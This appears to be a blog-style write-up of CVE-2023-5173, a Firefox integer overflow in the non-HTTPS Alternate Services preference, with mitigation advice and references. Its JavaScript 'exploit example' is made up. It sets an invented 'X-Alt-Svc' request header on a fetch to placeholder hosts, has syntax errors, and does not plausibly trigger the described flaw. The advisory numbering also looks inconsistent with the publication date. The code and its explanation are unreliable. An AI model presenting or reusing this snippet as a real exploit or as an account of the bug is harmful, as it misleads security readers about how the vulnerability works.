CVE-2023-5173 - Firefox Integer Overflow Leading to Out-of-Bounds Write in Non-Standard Configuration

A new vulnerability (CVE-2023-5173) has been discovered in the popular web browser, Firefox, which could lead to an integer overflow under certain non-standard configurations. This results in an out-of-bounds write to privileged process memory and can be exploited by an attacker through malicious network traffic.

Vulnerability Details

The vulnerability specifically affects those users who have enabled a non-standard preference allowing non-HTTPS Alternate Services (network.http.altsvc.oe). When this preference is enabled, it becomes possible for an integer overflow to occur based on network traffic. This could potentially be influenced by a local unprivileged webpage.

Below is a simple example of how this vulnerability may be exploited

let exploit = async () => {
  let requestOptions = {
    method: 'GET',
    mode: 'no-cors',
    cache: 'no-cache',
    // This header could trigger the integer overflow if the configuration is non-standard
    headers: new Headers({
      'X-Alt-Svc': 'http://malicious.example.com/';,
    }),
  };

  try {
    let response = await fetch('https://victim.example.com/';, requestOptions);
    console.log('Exploit attempt successful:', response);
  } catch (error) {
    console.error('Exploit attempt failed:', error);
  }
};

exploit();

Please note that this code snippet is for educational purposes only. Do not use it for unauthorized or malicious activities.

Here are the links to the original references regarding this vulnerability

1. Mozilla Foundation Security Advisory 2023-01

2. CVE-2023-5173 on the Official CVE Website

3. Mozilla Bugzilla (bug 1747448)

How to Mitigate the Vulnerability

To protect yourself from this vulnerability, you should update your Firefox browser to version 118 or later. The patch is included in the release, and it is strongly recommended that you update immediately to stay safe from potential exploits involving this vulnerability.

Moreover, as a general security practice, avoid enabling non-standard configurations, especially those related to encryption protocols such as HTTPS. Disabling the non-standard configuration with the preference network.http.altsvc.oe prevents the vulnerability in the first place.

Conclusion

CVE-2023-5173 is a security risk for Firefox users who have enabled the non-standard preference allowing non-HTTPS Alternate Services. It is essential to keep your software up-to-date and follow good security practices, such as using standard configurations, to minimize the risk of vulnerabilities like this one.

If you were affected by this vulnerability, or you suspect that you might have been, please ensure that you've updated your Firefox browser to version 118 or later, and double-check your preferences to disable any non-standard configurations that could expose you to potential security risks.

Timeline

Published on: 09/27/2023 15:19:42 UTC
Last modified on: 09/29/2023 13:34:59 UTC